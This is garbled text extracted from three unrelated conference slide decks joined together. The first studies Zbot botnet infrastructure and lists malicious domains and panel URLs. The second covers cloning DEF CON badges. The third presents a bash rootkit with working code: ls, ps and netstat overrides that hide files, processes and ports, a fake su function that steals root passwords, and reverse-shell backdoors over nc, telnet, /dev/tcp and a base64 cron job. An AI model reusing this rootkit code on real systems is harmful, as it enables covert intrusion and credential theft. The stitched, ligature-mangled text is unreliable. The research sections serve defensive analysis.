:
“C”
})
graph.add_edge(a,
b,
{
"type"
:
“belongs”
})
graph.add_edge(b,
c,
{
"type"
:
“owns”
})
graph.add_edge(c,
a,
{
"type"
:
“has”
graph.save_json(“dataset.json”)
DNS
style
INSERT
DOMAIN-‐IP
OVER
TIME
VISUALIZATION
-‐
We
have
graph
data
with
detecLon
methods
-‐
We
create
graph
with
SemanLcNet
-‐
Load
in
GraphiL
and
apply
force
directed
-‐
Build
event
Lmeline
-‐
Viz
over
Lme
Results
Zeus
Citadel
KINS
&
Ice
IX
Config
URLs
Binary
URLs
Drop
Zone
URLs
Misc
Phishing
Asprox
DNS
style
Results
:
Zeus
urls
DNS
style
Results
:
Citadel
urls
DNS
style
Results
:
KINS
&
Ice
IX
urls
DNS
style
Results
:
Phishing
DNS
style
Results
:
Asprox
(1)
DNS
style
Results
:
Asprox
(2)
DNS
style
Results
:
Misc
•
Madness
Pro
(Ddos
bot)
phoning
home
netom.in,
GET
/1/?uid=17428742&ver=1.14&mk=bb3b62&os=WinXP&rs=adm&c=1&rq=0
with
several
occurring
OS
versions:
os=S2000
os=Win07
os=Win_V
os=WinXP
os=Win08
DNS
style
Results
:
Misc
•
Downloading
binaries
and
configs
azg.su,
GET
/coivze7aip/modules/bot.exe
tundra-‐tennes.com,
GET
/infodata/soG32.dll
tundra-‐tennes.com,
GET
/info-‐data/soG32.dll
bee-‐pass.com,
GET
/info/soG32.dll
quarante-‐ml.com,
GET
/nivoslider/jquery/
quarante-‐ml.com,
GET
/nivoslider98.45/ajax/
quarante-‐ml.com,
GET
/nivoslider98.45/jquery/
tundra-‐tennes.com,
GET
/nivoslider/ajax/
DNS
style
Results
:
Pony
Panel
Discovery
marmedladkos.com
DNS
style
Results
:
Pony
Panel
Discovery
• Pony
1.9
leaked
for
Trojan
Forge
in
late
2012
• Info
stealer
• Win32/Fareit
Payload
delivered
via:
• Drive-‐by/Exploit
kit
• Avachment
in
spam
emails
DNS
style
Results
:
Pony
Panel
Discovery
DNS
style
DNS
style
Results
:
Pony
Panel
Discovery
-‐p/Panel.zip
—
controlling
php
scripts
-‐includes/design/images/modules/*
—
images
for
each
zeus
plugin
supported/tracked
-‐includes/password_modules.php
—
contains
array
with
all
soGware
it
tries
to
steal
credenLals
for
-‐includes/database.php
—
contains
db
schema
and
accessors
-‐character
set
cp1251
used
everywhere
-‐mysql
storage
engine
is
MyISAM
-‐config.php
date_default_Lmezone_set(‘Europe/Moscow’)
DNS
style
Results
:
Pony
Panel
Discovery
DNS
style
Results
:
Pony
Panel
Discovery
DNS
style
Results
:
Pony
Panel
Discovery
DNS
style
Results
:
Pony
Panel
Discovery
Google
search
of
disLncLve
key
terms
DNS
style
malware
Results
:
Pony
Panel
Discovery
DNS
style
Results
:
Pony
Panel
Discovery
epvpcash.net16.net/Panel/temp/
hg{g{g{fg.net/pony/temp/
hvp://pantamaL.com/dream/Panel/temp/
hvp://pantamaL.com/wall/Panel/temp/
mastermetr.ru/steal/Panel/temp/
microsoG.blg.lt/q/temp/
santeol.su/p/temp/
terra-‐araucania.cl/pooo/temp/
thinswares.com/panel/temp/
www.broomeron.com/pn2/temp/
www.kimclo.com/cli/temp/
www.sumdfase2.net/adm/temp/
www.tripplem2.com/images/money/temp/
DNS
style
Results
:
TLD
distribuNon
Sample
of
925
zbot
CnC
domains
DNS
style
Results
:
Bots
geo-‐distribuNon
Sample
of
170,208
IPs
of
the
zbot
proxy
network
Map
DNS
style
UA
28
%
RU
38
%
Results
:
Bots
geo-‐distribuNon
DNS
style
Results
:
Clients
phoning
to
CnCs
2,220,230
DNS
lookups
to
CnCs
over
24
hours
Map
DNS
style
US
59
%
Results
:
Clients
phoning
to
CnCs
DNS
style
CnC
domains
and
related
samples
-‐Sample
of
337
zbot
CnC
domains
-‐208
different
samples
(sha256
communicated
with
the
CnCs)
Top
recorded
sample
names:
Trojan[Spy]/Win32.Zbot
TrojanDownloader:Win32/Upatre
-‐Upatre
is
used
as
a
downloader
for
Zeus
GameOver
-‐Sent
as
avachment
in
spam
emails
delivered
by
Cutwail
botnet
DNS
style
Summary
• Zbot
fast
flux
proxy
network
is
very
versaNle
• MulN-‐purpose
based
on
clients’
needs
• CnCs
for
Zeus,
Citadel,
Ice
IX,
KINS,
Asprox,
Madness
Pro,
phishing,
Pony
panel
• Serve
all
types
of
Zeus
urls:
config,
binary
and
drop
zones
• .ru,
.su,
.com
most
abused
TLDs
• Bots
concentrated
in
Russia,
Ukraine
• Targeted
vicNms
concentrated
in
the
US
DNS
style
Catching
Malware
IP
style
Catching
Malware
IP
style
Sub-‐allocated
ranges
ASN
graph
topology
Use
case
#1
Malicious
sub-‐allocated
ranges
IP
style
InvesNgaNon
Process
Monitor
domains
&
IPs
from
traffic
and
blacklist
Study
sub-‐allocated
IP
ranges
&
fingerprints
Study
bad
actors’
TTP
in
their
choice
of
infrastructure
&
Lming
PredicLvely
block
IPs
desLned
for
avacks
Generalize
predicLons
Study
shiG
in
bad
actors’
TTP
IP
style
OVH
Canada
Ukraine
Russia
• Same
customer
reserving
IPs
• IPs
exclusively
used
for
avacks
• Bring
IPs
online
in
bulk
• Customer
Unknown
• Bring
conLguous
IPs
online
1
at
a
Lme
or
random
• Customer
Unknown
• Bring
conLguous
IPs
online
1
at
a
Lme
or
random
7
days
7
days
Name
servers
always
stayed
on
OVH
IP
ranges
Months
• Same
customer
reserving
IPs
• Using
recycled
IPs
for
avacks
IP
style
Malicious
sub-‐allocated
ranges
IP
style
Malicious
sub-‐allocated
ranges
•
hvp://labs.umbrella.com/2014/02/14/when-‐ips-‐go-‐nuclear/
•
Take
down
operaLons
of
domains
IP
style
PredicNng
malicious
domains
IP
infrastructure
IP
style
Tracking
OVH
reserved
ranges
IP
style
Time
period
Nb.
ranges
Nb.
IPs
Nb.
IPs
used
Usage
Dec
1st
-‐31st
2013
28
ranges
136
IPs
86
used
63%
malicious
Jan
1st
-‐
31st
2014
11
ranges
80
IPs
33
used
41%
malicious
Feb
1st
-‐
28th
2014
4
ranges
28
IPs
26
used
92%
malicious
Mar
1st
-‐
20th
2014
43
ranges
364
IPs
215
used
59%
malicious
•
Used
for
Nuclear
EK
domains,
Nuclear
domains’
name
servers,
and
browlock
Tracking
OVH
reserved
ranges
•
86
ranges
are
all
in
these
prefixes
388
198.50.128.0/17
128
192.95.0.0/18
80
198.27.64.0/18
12
142.4.192.0/19
IP
style
IP
style
31.41.221.131
-‐
31.41.221.143
22/tcp
open
ssh
OpenSSH
5.5p1
Debian
6+squeeze4
(protocol
2.0)
80/tcp
open
hpp
nginx
web
server
0.7.67
111/tcp
open
rpcbind
5.101.173.1
-‐
5.101.173.10
22/tcp
open
ssh
OpenSSH
6.0p1
Debian
4
(protocol
2.0)
80/tcp
open
hpp
nginx
web
server
1.2.1
111/tcp
open
rpcbind
FingerprinLng
malicious
ranges
FingerprinNng
malicious
ranges
IP
style
198.50.143.64
-‐
198.50.143.79
22/tcp
open
ssh
OpenSSH
5.5p1
Debian
6+squeeze4
(protocol
2.0)
80/tcp
open
hpp
nginx
web
server
0.7.67
445/tcp
filtered
microsos-‐ds
• Combine
indicators
and
generalize
to
other
threats
-‐>
Block/quaranNne
IPs
before
they
start
hosNng
domains
DetecNng
Malicious
Subdomains
under
Compromised
domains
IP
style
InvesNgaNon
Process
Detect
subdomains
injected
under
compromised
domains
Collect
subdomains,
domains
and
hosLng
IPs
Track
most
abused
ASNs
Track
most
abused
hosters
Study
evoluLon
of
bad
actors’
TTP
over
Lme
Analyze
subdomain
labels
IP
style
Malicious
subdomains
under
compromised
domains
•
Detect
malicious
subdomains
injected
under
compromised
domains,
most
notably
GoDaddy
domains
•
Subdomains
serving
Exploit
kits
(e.g.
Nuclear,
Angler,
FlashPack),
browlock,
malverLsing
•
Various
payloads
dropped
(e.g.
zbot
variants,
kuluoz)
•
Monitoring
paverns
for
5+
months
(Feb
2014-‐present)
IP
style
Malicious
subdomains
under
compromised
domains
•
Sample
of
several
hundred
IPs
hosLng
malicious
subdomains
•
Top
5
abused
ASNs
§ 16276
OVH
SAS
(18%
of
total
collected
malicious
IPs)
§ 24961
myLoc
managed
IT
AG
§ 15003
Nobis
Technology
Group,
LLC
§ 41853
LLC
NTCOM
§ 20473
Choopa,
LLC
IP
style
Before
Now
Abuse
ccTLDs
(e.g.
.pw,
.in.net,
.ru,
etc)
using
rogue/vicLm
resellers/
registrars
Supplement
with
abusing
compromised
domains
Use
reserved
IPs
exclusively
for
Exploit
kit,
browlock
avacks
Supplement
with
using
recycled
IPs
that
hosted
legit
content
in
the
past
Bring
avack
IPs
online
in
conNguous
chunks
Supplement
with
bringing
IPs
up
in
randomized
sets
or
one
at
a
Nme
Abuse
OVH
Canada:
possible
to
predicLvely
correlate
rogue
customers
with
avack
IPs
through
ARIN
rwhois
Abuse
OVH
Europe
spanning
numerous
countries’
IP
pools
(e.g.
FRA,
BEL,
ITA,
UK,
IRE,
ESP,
POR,
GER,
NED,
FIN,
CZE,
RUS)
IP
style
Small
abused
or
rogue
hosNng
providers
•
hvp://king-‐servers.com/en/
hosted
Angler,
Styx,
porn,
pharma
•
Described
on
WOT
“offers
bulletproof
hosLng
for
Russian-‐Ukrainian
criminals”
IP
style
Small
abused
or
rogue
hosNng
providers
•
hvp://evrohoster.ru/en/
hosted
browlock
through
redirecLons
from
porn
sites
IP
style
Small
abused
or
rogue
hosNng
providers
•
hvp://www.qhoster.bg/
hosted
Nuclear
IP
style
Small
abused
or
rogue
hosNng
providers
•
hvp://www.electrickiven.com/web-‐hosLng/
IP
style
Small
abused
or
rogue
hosNng
providers
•
hvp://www.xlhost.com/
hosted
Angler
EK
domains
•
hvps://www.ubiquityhosLng.com/
hosted
browlock.
•
hvp://www.codero.com/
•
hvp://hosLnk.ru/
IP
style
String
Analysis
of
injected
subdomains
•
Sample
of
19,000+
malicious
subdomains
injected
under
4,200+
compromised
GoDaddy
domains
•
12,000+
different
labels
•
Top
5
used
labels:
§ police
§ alertpolice
§ css
§ windowsmoviemaker
§ solidfileslzsr
IP
style
String
Analysis
of
injected
subdomains
IP
style
Catching
Malware
IP
style
ASN
graph
topology
Sub-‐allocated
ranges
INTERNET
101
&
BGP
IP
style
INTERNET
101
&
BGP
IP
style
MEET
THE
INTERNET
Network
of
Networks,
it’s
a
Graph!
Each
organizaLons
on
the
Internet
is
called
an
Autonomous
system.
Each
dot
represents
an
Autonomous
system
(AS).
AS
is
idenLfied
by
a
number.
OpenDNS
is
36692,
Google
is
15169.
Each
AS
has
one
or
more
Prefixes.
36692
has
56
(ipv4
and
IPv6)
network
prefixes.
BGP
is
the
glue
that
makes
this
work!
IP
style
AS
graph
•
BGP
rouLng
tables
•
Valuable
data
sources
•
Routeviews
•
Cidr-‐report
•
Hurricane
Electric
database
•
510,000+
BGP
prefixes
•
48,000+
ASNs
IP
style
AS
graph
• Route
Views
hvp://archive.routeviews.org/bgpdata/
IP
style
AS
graph
• Cidr
Report
hvp://www.cidr-‐report.org/as2.0/
IP
style
AS
graph
• Hurricane
Electric
database
hvp://bgp.he.net/
IP
style
AS
graph
•
Build
AS
graph
•
Directed
graph:
node=ASN,
a
directed
edge
from
an
ASN
to
an
upstream
ASN
•
TABLE_DUMP2|1392422403|B|96.4.0.55|11686|67.215.94.0/24|
11686
4436
2914
36692|IGP|96.4.0.55|0|0||NAG||
IP
style
AS
graph
Focus
of
this
study:
•
Peripheral
ASNs
that
are
siblings,
i.e.
they
have
common
parents
in
the
AS
graph
(share
same
upstream
AS)
•
Cluster
peripheral
ASNs
by
country
•
Find
interesLng
paverns:
certain
siblings
in
certain
countries
are
delivering
similar
suspicious
campaigns
IP
style
SemanNcNet
Library
#!/usr/bin/env
python
import
semanLcnet
as
sn
graph
=
sn.Graph()
a
=
graph.add_node({
"label"
:
“A”
})
b
=
graph.add_node({
"label"
:
“B”
})
c
=
graph.add_node({
"label"
:
“C”
})
graph.add_edge(a,
b,
{
"type"
:
“belongs”
})
graph.add_edge(b,
c,
{
"type"
:
“owns”
})
graph.add_edge(c,
a,
{
"type"
:
“has”
graph.save_json(“dataset.json”)
DNS
style
IP
style
ParNcle
Physics
IP
style
Canadian
AS
Network
INSERT
FORCE
DIRECTED
EXPANSION
VIDEO
HERE
IP
style
ParallelizaNon
IP
style
Why
?
• Data
driven
vs
user-‐driven
• Layout
closer
to
the
“natural
shape”
of
data
structure
• Take
advantage
of
the
GPU
for
acceleraLon
• Humans
are
good
at
processing
shapes
and
colors
IP
style
Data
VisualizaNon
IP
style
Global
ASN
graph
Full
AS
Network
OpenCL
IteraNons
IP
style
OpenCL
(~1h
later)
IP
style
Full
AS
Network
IP
style
Full
AS
Network
IP
style
Full
AS
Network
IP
style
ASN
Network
(Ukraine)
IP
style
Use
Case
#2
Suspicious
Sibling
Peripheral
ASNs
IP
style
InvesNgaNon
Process
Monitoring
domains
&
IPs
from
traffic
and
blacklist
Study
IP
ranges
&
fingerprints
Study
relaLonships
between
ASNs
Propose
ASN
based
detecLon
model
Study
BGP
outages
Confirm
model
IP
style
•
Taking
a
sample
of
160
live
IPs
from
malicious
domains
•
/23
or
/24
serving
TrojWare.Win32.KrypLk.AXJX
•
Trojan-‐Downloader.Win32.Ldmon.A
Study
IP
ranges
and
fingerprints
IP
style
Study
IP
ranges
and
fingerprints
IP
style
50
IPs
with:
22/tcp
open
ssh
OpenSSH
6.2_hpn13v11
(FreeBSD
20130515;
protocol
2.0)
8080/tcp
open
hvp-‐proxy
3Proxy
hvp
proxy
Service
Info:
OS:
FreeBSD
108
IPs
with:
22/tcp
open
ssh
OpenSSH
5.3
(protocol
1.99)
80/tcp
open
hvp?
Server
setup
is
similar
!
Study
IP
ranges
and
fingerprints
IP
style
Propose
ASN
based
detecNon
model
SPN
Concept
(Sibling
Peripheral
Nodes)
IP
style
Study
relaLonships
between
ASNs
•
January
8th
topology
snapshot,
Ukraine,
Russia
•
10
sibling
peripheral
ASNs
with
2
upstream
ASNs
IP
style
•
February
21st
topology
snapshot,
Ukraine,
Russia
•
AS31500
stopped
announcing
its
downstream
ASNs'
prefixes
!
•
More
peripherals
started
hosLng
suspicious
payload
domains
!
Study
relaLonships
between
ASNs
IP
style
• 3100+
malware
domains
on
1020+
IPs
!
•
Payload
URLs
were
live
on
enLre
IP
ranges
before
any
domains
were
hosted
on
them
•
Seems
the
IP
infrastructure
is
set
up
in
bulk
and
in
advance
hvp://pastebin.com/X83gkPY4
Study
relaLonships
between
ASNs
IP
style
Data
VisualizaNon
SPN
Concept
(Sibling
Peripheral
Nodes)
IP
style
TODO
Applied
Dataviz
(Color
connecLons)
+
SPN
model
on
previous
ASN
list
+
Videos
of
interacLve
extracLon
(If
possible)
+
Story
of
finding
(ASN
hosLng
escort
service
websites)
Graph
Topology
IP
style
SPN
DetecNon
IP
style
SPN
DetecNon
IP
style
STUDY
BGP
OUTAGES
IP
style
BGP
MESSAGES
Two
important
BGP
message
types:
1. Update
messages
to
announce
a
new
path
for
a
one
or
more
prefixes
2. Withdrawal
messages
to
inform
BGP
speakers
that
a
certain
prefix
can
no
longer
be
reached.
By
correlaLng
these
messages
we
can
detect
outages
globally
and
in
real
Lme
IP
style
OVERLAPPING
BGP
OUTAGES
57604
8287
50896 49236 29004 45020 44093 48949 49720 50818 48361
57604 x
20
17
12
22
16
11
24
20
13
5
8287
20 x
41
15
17
17
15
18
18
15
5
50896
17
41 x
17
16
17
18
19
16
18
7
49236
12
15
17 x
8
15
13
8
12
17
3
29004
22
17
16
8 x
12
22
28
18
9
6
45020
16
17
17
15
12 x
12
12
12
15
4
44093
11
15
18
13
22
12 x
16
10
13
6
48949
24
18
19
8
28
12
16 x
20
9
8
49720
20
18
16
12
18
12
10
20 x
10
4
50818
13
15
18
17
9
15
13
9
10 x
4
48361
5
5
7
3
6
4
6
8
4
4 x
IP
style
OVERLAPPING
BGP
OUTAGES
57604
29004
48361
57604
22
5
29004
22
6
48361
5
6
IP
style
ISP
48361
AS57604
91.233.89.0/24
AS29004
195.39.252.0/23
no
outage
down
for
35
minutes
2013-‐07-‐12
18:53
-‐
2013-‐07-‐12
19:28
down
for
36
minutes
2013-‐07-‐12
18:53
-‐
2013-‐07-‐12
19:29
no
outage
down
for
497
minutes
2013-‐07-‐12
21:33
-‐
2013-‐07-‐13
05:50
down
for
497
minutes
2013-‐07-‐12
21:33
-‐
2013-‐07-‐13
05:50
no
outage
down
for
479
minutes
2013-‐07-‐22
21:57
-‐
2013-‐07-‐23
05:56
down
for
479
minutes
2013-‐07-‐22
21:57
-‐
2013-‐07-‐23
05:56
no
outage
down
for
33
minutes
2013-‐07-‐23
18:51
-‐
2013-‐07-‐23
19:24
down
for
33
minutes
2013-‐07-‐23
18:51
-‐
2013-‐07-‐23
19:24
no
outage
down
for
63
minutes
2013-‐07-‐29
04:54
-‐
2013-‐07-‐29
05:57
down
for
63
minutes
2013-‐07-‐29
04:54
-‐
2013-‐07-‐29
05:57
IP
style
• Unique
approach
for
finding
related
ASNs
• Overlapping
outages
could
mean
• Most
likely
relying
on
same
infrastructure
• Same
Data
center
• Same
RouNng
/
Switching
infrastructure
• Same
organizaNon
hiding
behind
different
ASNs
IP
style
Conclusion
• Zbot
fast
flux
proxy
network
• InvesLgate
IP
space:
AS
graph
topology
and
sub-‐allocated
ranges
• Detect
suspicious
sibling
peripheral
ASNs
• Detect
sibling
ASNs
using
BGP
outages
monitoring
• Predict
malicious
IP
ranges
• Detect
malicious
subdomains
under
compromised
domains
• Novel
3D
visualizaNon
engine
for
graph
navigaLon
and
invesLgaLon
IP
style
References
• Distributed
Malware
Proxy
Networks,
B.
Porter,
N.
Summerlin,
BotConf
2013
• hvp://labs.opendns.com/2013/12/18/operaLon-‐kelihos-‐presented-‐botconf-‐2013/
• hvp://blog.malwaremustdie.org/2013/12/short-‐talk-‐in-‐botconf-‐2013-‐kelihos.html
• hvps://zeustracker.abuse.ch/
• hvp://www.malware-‐traffic-‐analysis.net/
• hvp://techhelplist.com/index.php/tech-‐tutorials/41-‐misc/465-‐asprox-‐botnet-‐
adverLsing-‐fraud-‐general-‐overview-‐1
• VirusTotal
IP
style
DHIA
MAHJOUB
@DhiaLite
•
Senior
Security
Researcher
THIBAULT
REUILLE
@ThibaultReuille
•
Security
Researcher
ANDREE
TOONK
@atoonk
•
Manager
of
Network
Engineering
Thank
you
!
(Q/A)
www.OpenGraphiN.com | pdf |
Black Badge Uber Alles
????
Agenda
1. Who are we
2. Why do this
3. Dc 22
4. Dc 14
5. Dc 23
6. Thank you
7. QA
8. Fin
Who are these hackers on stage
DC503 members
Jesse - human computer
Kenny - human pick and place machine
Mike - Senior Trouble Maker
Mickey - least israeli israeli person mike knows
Joe - Intel (reformed)
Dean - bricker of all things
Motivation
For the lulz
Standing in line sucks
1o57 said it was not possible
Because we can
DC22
DC22 - Background
- Open source human badge schematics released after defcon.
- Playing around with them
- Hey, can we make a black badge?
- We , kind of, know how to EAGLE. Not to dip trace
- And we love 1o57, we wanted to surprise him.
DC22 - How
- Found human badge schematics online and used as reference
-
DipTrace and EAGLE - the battle.
-
Reversing the silk screen hours of photo manipulation and google searching!
-
Reversing the board and the BOM (what part goes where)
-
The story of Fabrication and dickbutt.
- How it ended up
- We won the Badge hacking contest!
- Compared to a real DC22 BB side by side and operating.
Release
Gerbs
DC22 - Result
- How it ended up
- We won the Badge hacking contest!
- Compared to a real DC22 BB side by side and operating.
DC14
DC14
- We love you Joe Grand! (no, really, he is the sweetest)
- Why this one?
- background story
- Seemed to be the easiest, but let me tell you...
- How we did it
- Built from scratch, using EAGLE.
- Funny story about free EAGLE and 80cm.
- Funnier story about Board fabrication.
- Overnight fabrication and late night DC hotel soldering
- How it ended up
- Compared to the real deal
<sausage making process>
<DC14 board view in eagle>
WINNAR
DC23
DC23
DC23 (Mickey, Mike, Dean)
- Background
- Why? Because Lost said it couldn't be done.
DC23
DC23 (Mickey, Mike, Dean)
- Background
- Why? Because Lost said it couldn't be done.
- How we did it
- social engineer the only guy in the world who makes captured
lightning thingies
- No, seriously, The type used by Lost is no longer
made on earth, so a special order had to be made.
DC23
DC23 (Mickey, Mike, Dean)
- The radiation
- Getting a lead pig. Thats a real term.
- Getting a geiger counter. funny story... it work in
russian only... hard core counting.
- Uraniuum marbles, tritium, trinitite , uranium ore.
- The coin.
- How it ended up
- We are still working on it right now, and we will have it ready
by Defcon.
Thank you
Questions? | pdf |
SHELL Hacking
阿里云 - wzt
•
When control a unix-like system, Than?
[root@localhost fucking_rootkit]# ls
Makefile furootkit.c
[root@localhost fucking_rootkit]# make
make -C /lib/modules/2.6.32/build M=/root/lkm/fucking_rootkit modules
make: *** /lib/modules/2.6.32/build: No such file or directory. Stop.
make: *** [furootkit] Error 2
[root@localhost fucking_rootkit]# gcc
bash: gcc: command not found
[root@localhost fucking_rootkit]#
[root@localhost fucking_rootkit]# perl
bash: perl: command not found
[root@localhost fucking_rootkit]#
[root@localhost fucking_rootkit]# python
bash: python: command not found
[root@localhost fucking_rootkit]#
Do everything in SHELL
• Unix kiss philosophy
Ø keep it sample stupid.
Ø do one thing do it well.
• The goal of shell scripts
Ø no cpu arch depend
Ø no complier depend
Ø no interpreter depend
Ø no os and kernel distribution depend
Ø sh/bash/csh/zsh
Ø unix/bsd/solaris/linux
Ø hundreds of open source tools
Ø just a shell script?
Bash Rootkit
•
Histroy of bash rootkit
ü
If bash shell scripts can be designed for security tools like chkrootkit or rkhunter,
ü
so too can it be implemented for a rootkit.
•
Brootkit
ü
Lightweight rootkit implemented using bash shell scripts.
ü
FEATURES
I.
more hidable ability against admintrator or hids.
II.
su passwd thief.
III.
hide file and directories.
IV.
hide process.
V.
hide network connections.
VI.
connect backdoor.
VII.
multi thread port scanner.
VIII.
http download.
IX.
multi thread ssh passwd crack.
ü
TARGET OS
I.
centos
II.
rhel
III.
ubuntu
IV.
debian
V.
fedora
VI.
freebsd
The life of `ls`
ls -> glibc/opendir() -> syscall/sys_getdents() -> vfs/vfs_readdir() -> ext4/ext4_readdir()
preload
hook sct
hjack vfs
inline hook
What is the NEXT?
ls -> bash -> shell function -> builtin -> hashtable -> $PATH -> command_not_found_handle/exit
• Override shell function
[root@localhost brootkit]# ls
README.md bashproxy.sh brbomb.sh brget.sh brsh.conf
brshrootkit.sh install.sh passwd1.lst sshcrack.sh ubd.sh
bashbd.sh bashtn.sh brconfig.sh brootkit.sh brshconfig.sh cronbd.sh pass.lst
passwd2.lst sshcrack1.exp uninstall.sh
bashnc.sh br.conf
brdaemon.sh brscan.sh brshinstall.sh host.lst
passwd.lst sshcrack.exp sshcrack2.exp user.lst
[root@localhost brootkit]# function ls()
> {
> echo "hjacked?"
> }
[root@localhost brootkit]# ls
hjacked?
[root@localhost brootkit]#
but
[root@localhost brootkit]# /bin/ls
README.md bashproxy.sh brbomb.sh brget.sh brsh.conf
brshrootkit.sh install.sh passwd1.lst sshcrack.sh ubd.sh
bashbd.sh bashtn.sh brconfig.sh brootkit.sh brshconfig.sh cronbd.sh pass.lst
passwd2.lst sshcrack1.exp uninstall.sh
bashnc.sh br.conf
brdaemon.sh brscan.sh brshinstall.sh host.lst
passwd.lst sshcrack.exp sshcrack2.exp user.lst
•
[root@localhost brootkit]# function /bin/ls()
•
> {
•
> echo "hjacked again?"
•
> }
•
[root@localhost brootkit]# /bin/ls
•
hjacked again?
•
[root@localhost brootkit]#
• Another trouble – ls output format
[root@localhost brootkit]# ls -l|head -n 4
total 420
-rw-r--r-- 1 root root
5527 Apr 3 02:27 README.md
-rwxr-xr-x 1 root root
963 Feb 11 2015 bashbd.sh
-rwxr-xr-x 1 root root
60 Feb 12 2015 bashnc.sh
[root@localhost brootkit]# ls -l
hjacked?
[root@localhost brootkit]#
• Need more complex pseudo
–
useful common arguments (ls –alt)
–
tty window size
–
bash character colors
hide file/process
•
Hide file/directory
fake_file=`/bin/ls $@`
old_ifs=$IFS; IFS=",“
for hide_file in ${br_hide_file[@]}
do
fake_file=`echo "$fake_file" | sed -e '/'$hide_file'/d'`
done
IFS=$old_if
echo "$fake_file"
l
Hide process
function ps()
{
old_ifs=$IFS; IFS=","
proc_name=`/bin/ps $@`
for hide_proc in ${br_hide_proc[@]}
do
proc_name=`echo "$proc_name" | sed -e '/'$hide_proc'/d'`
done
echo "$proc_name"
IFS=$old_ifs
}
Hide net
• Hide tcp connections
function netstat()
{
local hide_port tmp_port old_ifs
. $BR_ROOTKIT_PATH/brconfig.sh
br_load_config $BR_ROOTKIT_PATH/br.conf
old_ifs=$IFS; IFS=","
tmp_port=`/bin/netstat $@`
for hide_port in ${br_hide_port[@]}
do
tmp_port=`echo "$tmp_port" | sed -e '/'$hide_port'/d'`
done
echo "$tmp_port"
IFS=$old_ifs
}
• Poc vs Real world
–
Mulit consoles - screen/bash*n
–
Single user - ~/.bashrc ~/.bash_profile
–
All users - /home/* /etc/bashrc /etc/bash_profile
–
Reboot
Anti
[root@localhost brootkit]# declare -f
/bin/ls ()
{
echo "hjacked again?"
}
ls ()
{
echo "hjacked?"
}
[root@localhost brootkit]#
[root@localhost brootkit]# set|tail
consoletype=pty
tmpid=0
/bin/ls ()
{
echo "hjacked again?"
}
ls ()
{
echo "hjacked?"
}
WTF?
So weak?
Is that a fucking rootkit??
Anti Anti
• Shell builtins
•
[root@localhost brootkit]# declare() {
•
> echo "hijack declare"
•
> }
•
[root@localhost brootkit]# declare
•
hijack declare
•
[root@localhost brootkit]#
•
[root@localhost brootkit]# builtin declare -f
•
/bin/ls ()
•
{
•
echo "hjacked again?"
•
}
•
ls ()
•
{
•
echo "hjacked?"
•
}
•
[root@localhost brootkit]# builtin() {
•
> echo "fucking hjacked?"
•
> }
•
[root@localhost brootkit]# builtin declare -f
•
fucking hjacked?
•
[root@localhost brootkit]# command builtin declare -f
•
/bin/ls ()
•
{
•
echo "hjacked again?"
•
}
•
builtin ()
•
{
•
echo "fucking hjacked?"
•
}
•
declare ()
•
{
•
echo "hijack declare"
•
}
•
ls ()
•
{
•
echo "hjacked?"
•
}
•
[root@localhost brootkit]# command() {
•
> echo "hijacked command"
•
> }
•
[root@localhost brootkit]# command builtin declare -f
•
hijacked command
•
[root@localhost brootkit]#
SU thief
• Obtain passwd?
–
sshd/pam backdoor
–
hydra/ncrack
–
john the ripper
• Su thief
[wzt@localhost ~]$ su
Password:
[root@localhost wzt]# exit
exit
[wzt@localhost ~]$ cat /tmp/...
loveshell
[wzt@localhost ~]$
function su()
{
local arg_list=("" "-" "-l" "--login"
"-c" "--command" "--session-command"
"-f" "--fast"
"-m" "--preserve-environment" "-p"
"-s" "--shell=SHELL")
local flag=0 tmp_arg arg pass
if [ $UID -eq 0 ]; then
/bin/su $1; unset su ; return $?
fi
for arg in ${arg_list[@]}
do
[ "$1" = "$arg" ] && flag=1
done
[ $# -eq 0 ] && flag=1
tmp_arg=$1;tmp_arg=${tmp_arg:0:1};
[ "$tmp_arg" != "-" -a $flag -eq 0 ] && flag=1
if [ $flag -ne 1 ];then
/bin/su $1; return $?
fi
[ ! -f /tmp/... ] && `touch /tmp/... && chmod 777 /tmp/... >/dev/null 2>&1`
echo -ne "Password:\r\033[?25l"
read -t 30 -s pass
echo -ne "\033[K\033[?25h"
/bin/su && unset su && echo $pass >> /tmp/...
}
Backdoor
•
NC
–
mkfifo bd;cat bd|/bin/sh|nc localhost 8080 >bd
•
Bash socket
–
/dev/tcp/host/port
–
/dev/udp/host/port
–
exec 9<> /dev/tcp/localhost/8080&&exec 0<&9&&exec 1>&9 2>&1&&/bin/bash --noprofile –I
•
Telnet
–
mkfifo bd;cat bd|/bin/sh -i 2>&1|telnet localhost 8080 >bd
•
Base64 encode
–
*/1 * * * * a=`echo
"ZXhlYyA5PD4gL2Rldi90Y3AvbG9jYWxob3N0LzgwODA7ZXhlYyAwPCY5O2V4ZWMgMT4mOSAyPiYxOy9iaW4vYmFzaCA
tLW5vcHJvZmlsZSAtaQ=="|base64 -d`;/bin/bash -c "$a";unset a
•
UDP
exec 9<> /dev/udp/localhost/8080
[ $? -eq 1 ] && exit
echo "connect ok" >&9
while :
do
a=`dd bs=200 count=1 <&9 2>/dev/null`
if echo "$a"|grep "exit"; then break; fi
echo `$a` >&9
done
exec 9>&-
exec 9<&-
[wzt@localhost ~]$ nc -lu 8080
connect ok
id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
uname -a
Linux localhost.localdomain 2.6.32 #1 SMP Wed May 7 01:24:01 CST
2014 x86_64 x86_64 x86_64 GNU/Linux
function br_set_rootkit_path()
{
if [ $UID -eq 0 -o $EUID -eq 0 ]; then
BR_ROOTKIT_PATH="/usr/include/..."
else
BR_ROOTKIT_PATH="/home/$USER/..."
fi
}
function br_connect_backdoor()
{
local target_ip=$br_remote_host
local target_port=$br_remote_port
local sleep_time=$br_sleep_time
while [ 1 ]
do
MAX_ROW_NUM=`stty size|cut -d " " -f 1`
MAX_COL_NUM=`stty size|cut -d " " -f 2`
{
PS1='[\A j\j \u@\h:t\l \w]\$';export PS1
exec 9<> /dev/tcp/$target_ip/$target_port
[ $? -ne 0 ] && exit 0 || exec 0<&9;exec 1>&9 2>&1
if type python >/dev/null;then
export MAX_ROW_NUM MAX_COL_NUM
python -c 'import pty; pty.spawn("/bin/bash")'
else
/bin/bash --rcfile $BR_ROOTKIT_PATH/.bdrc --noprofile -i
fi
}&
wait
sleep $((RANDOM%sleep_time+sleep_time))
done
}
Port scanner
[root@localhost brootkit]$ ./brscan.sh
./brscan.sh <-p> [-n|-t|-o|-h] <remote_host>
option:
-p ports, pattern: port1,port2,port3-port7,portn...
-n thread num, default is 10
-t timeout, default is 30s
-o results write into log file, default is brscan.log
-h help information.
exp:
